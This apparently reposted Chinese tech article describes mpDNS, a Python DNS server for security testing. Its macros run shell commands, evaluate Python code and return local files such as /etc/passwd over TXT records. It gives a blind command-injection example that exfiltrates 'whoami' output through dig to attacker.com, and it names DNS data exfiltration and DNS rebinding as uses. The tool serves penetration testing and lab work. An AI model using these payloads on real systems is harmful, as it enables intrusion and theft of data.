mpDNS:Python实现的多功能DNS服务器

服务器
以下是Python实现的多功能DNS服务器,对大家有所帮助。

简单、可配置的“ clone和run ”DNS服务器,具有多种有用的功能。

适用于Python 2和3

names.db – >包含所有自定义记录(参见示例)

简单的通配符,如* .example.com

捕获unicode dns请求

自定义动作又称宏:

  1. - {{shellexec::dig google.com +short}} – >执行shell命令并使用result响应 
  2.  
  3. - {{eval::res = '1.1.1.%d' % random.randint(0,256)}}- >评估你的python代码 
  4.  
  5. - {{file::/etc/passwd}} – >回复本地文件内容 
  6.  
  7. - {{resolve}} – >将DNS请求转发到本地系统DNS 
  8.  
  9. - {{resolve::example.com}} – >解析example.com而不是原始记录 
  10.  
  11. - {{echo}} – >回复对等地址 
  12.  
  13. - {{shellexec::echo %PEER% %QUERY%}} – >使用变量 

[[259997]]

支持的查询类型:A,CNAME,TXT

更新names.db记录而不重启/重新加载./mpdns.py -e

重度基于https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

用法: ./mpdns.py

编辑names.db,./mpdns.py -e无需重启

进攻和防守目的:

1.您需要一个轻量级的简单DNS服务器解决方案用于测试目的(不生产!)

2.测试Web应用程序中的各种盲注漏洞(例如/ping.php?ip=$(dig $(whoami).attacker.com))

3.在一个TXT查询中轻松渗透65K数据

4.DNS重新绑定

5.对特定查询执行自定义宏操作(在恶意软件分析实验室环境中很有用)

6.还有更多。它是高度可定制的。

安装

git clone https://github.com/nopernik/mpDNS

限制

1.由于UDP数据报限制为65535字节,DNS响应限制在约65200字节, 此限制适用于TXT分成256字节块的记录,直到响应达到***允许值65200b, 因此TXT宏记录{{file:localfile.txt}}限制为65200字节。

2.不支持嵌套通配符 test.*.example.com

3.{{resolve::example.com}}宏中不支持自定义DNS服务器解析程序

4.TTL始终设为0

例子

names.db示例:

  1. # Empty configuration will result in empty but valid responses 
  2. # Unicode domain names are not supported but still can be catched by the server. 
  3. for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response 
  4. passwd.example.com    TXT     {{file::/etc/passwd}}  #comments are ignored 
  5. shellexec            TXT     {{shellexec::whoami}} 
  6. eval                TXT     {{eval::import random; res = random.randint(1,500)}} 
  7. resolve1            A       {{resolve}} 
  8. resolve2            A       {{resolve::self}}      #same as previous 
  9. resolve3            A       {{resolve::example.com}} 
  10. blabla.com            A       5.5.5.5 
  11. *                    A       127.0.0.1 
  12. *.example.com        A        7.7.7.7 
  13. c1.example.com        CNAME    c2.example.com 
  14. c2.example.com        CNAME    c3.example.com 
  15. c3.example.com        CNAME    google.example.com 
  16. google.example.com    CNAME    google.com 
  17. test.example.com    A        8.8.8.8 
  18. google.com            A        {{resolve::self}} 
  19. notgoogle.com        A        {{resolve::google.com}} 

使用names.db示例输出示例:

DB的定期解决方案:

  1. dig test.example.com @localhost 
  1. ;; ANSWER SECTION 
  2. test.example.com. 0 IN A 8.8.8.8 

mpDNS输出:

  1. - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A) 

递归CNAME解析:

  1. dig c1.example.com @localhost 
  1. ;; QUESTION SECTION
  2. ;c1.example.com.            IN    A 
  3. ;; ANSWER SECTION
  4. c1.example.com.        0    IN    CNAME    c2.example.com. 
  5. c2.example.com.        0    IN    CNAME    c3.example.com. 
  6. c3.example.com.        0    IN    CNAME    google.example.com. 
  7. google.example.com.    0    IN    CNAME    google.com. 
  8. google.com.        0    IN    A    216.58.206.14 

mpDNS输出:

  1. - Request from 127.0.0.1:44120      -> c1.example.com.        -> c2.example.com (CNAME) 
  2. - Request from 127.0.0.1:44120      -> c2.example.com        -> c3.example.com (CNAME) 
  3. - Request from 127.0.0.1:44120      -> c3.example.com        -> google.example.com (CNAME) 
  4. - Request from 127.0.0.1:44120      -> google.example.com    -> google.com (CNAME) 
  5. - Request from 127.0.0.1:44120      -> google.com            -> {{resolve::self}} (A) 

通配符解析:

  1. dig not-in-db.com @localhost 
  1. ;; ANSWER SECTION
  2. not-in-db.com. 0 IN A 127.0.0.1 

mpDNS输出:

  1. - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A) 

通配符子域解析:

  1. dig wildcard.example.com @localhost 
  1. ;; ANSWER SECTION
  2. wildcard.example.com. 0 IN A 7.7.7.7 

mpDNS输出:

  1. - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A) 

转发请求宏:

  1. dig google.com @localhost 
  1. ;; ANSWER SECTION
  2. google.com. 0 IN A 172.217.22.110 

mpDNS输出:

  1. - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A) 

自定义域宏的转发请求:

  1. dig notgoogle.com @localhost 
  1. ;; ANSWER SECTION
  2. notgoogle.com. 0 IN A 172.217.22.110 

mpDNS输出:

  1. - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A) 

通过TXT查询文件内容宏:

  1. dig txt passwd.example.com @localhost 
  1. ;; ANSWER SECTION: 
  2. passwd.example.com. 0 IN TXT "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped" 

mpDNS输出:

  1. - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT) 

通过TXT查询自定义python代码宏:

  1. dig txt eval @localhost 
  1. ;; ANSWER SECTION 
  2. eval. 0 IN TXT "320" 

mpDNS输出:

  1. - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT) 

Shell命令宏通过TXT查询:

  1. dig txt shellexec @localhost 
  1. ;; ANSWER SECTION
  2. shellexec. 0 IN TXT "root" 

mpDNS输出:

  1. - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)  
责任编辑:武晓燕 来源: Freebuf
相关推荐

2012-01-09 10:03:52

2009-06-27 20:29:00

Windows SerWindows2008DNS

2009-01-10 18:53:01

服务器ServerDNS

2024-01-31 08:33:06

C++编程计算器

2009-11-23 17:23:59

DNS服务器内部建立

2018-03-23 14:48:27

静态服务器实现

2010-08-27 10:00:49

DHCP服务器

2010-07-30 10:04:00

无线产品打印机D-Link

2010-01-04 16:46:44

Ubuntu DNS

2010-01-04 16:54:00

Ubuntu DNS

2010-02-06 15:35:31

Ubuntu DNS

2018-11-30 11:19:02

DNS根服务器网络

2011-03-04 13:41:51

2010-01-07 15:37:09

Linux配置DNS

2009-11-24 15:34:41

DNS服务器组建

2009-12-04 10:27:45

公共DNS服务器

2011-08-08 14:17:22

DNS服务器WindowsServ

2020-03-16 09:10:41

bindDNS服务器系统运维

2012-03-22 10:25:52

2011-03-01 14:00:16

vsFTPd功能
点赞
收藏

51CTO技术栈公众号